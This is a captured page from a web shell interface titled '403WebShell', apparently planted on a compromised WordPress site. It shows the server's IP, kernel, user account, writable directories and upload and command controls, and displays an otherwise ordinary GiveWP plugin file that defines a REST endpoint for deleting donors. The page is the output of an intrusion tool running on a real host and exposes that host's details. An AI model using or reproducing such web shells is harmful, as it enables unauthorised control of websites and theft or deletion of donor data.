Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 3.142.42.247
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Donors/Endpoints/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/tacafoundation.org/wp-content/plugins/give/src/Donors/Endpoints/DeleteDonor.php
<?php

namespace Give\Donors\Endpoints;

use Exception;
use Give\Donors\Models\Donor;
use WP_Error;
use WP_REST_Request;
use WP_REST_Response;

class DeleteDonor extends Endpoint
{
    /**
     * @var string
     */
    protected $endpoint = 'admin/donors/delete';

    /**
     * @inheritDoc
     */
    public function registerRoute()
    {
        register_rest_route(
            'give-api/v2',
            $this->endpoint,
            [
                [
                    'methods' => 'DELETE',
                    'callback' => [$this, 'handleRequest'],
                    'permission_callback' => [$this, 'permissionsCheck'],
                ],
                'args' => [
                    'ids' => [
                        'type' => 'string',
                        'required' => true,
                        'validate_callback' => function ($ids) {
                            foreach ($this->splitString($ids) as $id) {
                                if ( ! $this->validateInt($id)) {
                                    return false;
                                }
                            }

                            return true;
                        },
                    ],
                    'deleteDonationsAndRecords' => [
                        'type' => 'boolean',
                        'required' => 'false',
                        'default' => 'false',
                    ],
                ],
            ]
        );
    }

    /**
     * @since 3.0.0 update validation to align with legacy view
     * @since 2.25.2
     *
     * @inheritDoc
     */
    public function permissionsCheck()
    {
        $donor_edit_role = apply_filters('give_edit_donors_role', 'edit_give_payments');

        if (!current_user_can($donor_edit_role)) {
            return new WP_Error(
                'rest_forbidden',
                esc_html__('You don\'t have permission to edit Donors', 'give'),
                ['status' => $this->authorizationStatusCode()]
            );
        }

        return true;
    }

    /**
     * @since 2.20.0
     * @since 2.23.1 Cast `$ids` as integers.
     *
     * @param WP_REST_Request $request
     *
     * @return WP_REST_Response
     */
    public function handleRequest(WP_REST_Request $request)
    {
        $ids = array_map('intval', $this->splitString($request->get_param('ids')));
        $delete_donation = $request->get_param('deleteDonationsAndRecords');
        $errors = $successes = [];

        foreach ($ids as $id) {
            try {
                /**
                 * Fires before deleting donor.
                 *
                 * @since 2.20.0
                 *
                 * @param int  $donor_id        The ID of the donor.
                 * @param bool $delete_donor    Confirm Donor Deletion.
                 * @param bool $delete_donation Confirm Donor related donations deletion.
                 */
                do_action('give_pre_delete_donor', $id, true, $delete_donation);
                $donor = Donor::find($id);
                if ($delete_donation) {
                    foreach ($donor->donations as $donation) {
                        $donation->delete();
                    }
                } else {
                    give_update_payment_meta($id, '_give_payment_donor_id', 0);
                }
                $donor->delete();
                $successes[] = $id;
            } catch (Exception $e) {
                $errors[] = $id;
            }
        }

        return new WP_REST_Response([
            'errors' => $errors,
            'successes' => $successes,
        ]);
    }


    /**
     * Split string
     *
     * @since 2.20.0
     *
     * @param string $ids
     *
     * @return string[]
     */
    protected function splitString($ids)
    {
        if (strpos($ids, ',')) {
            return array_map('trim', explode(',', $ids));
        }

        return [trim($ids)];
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit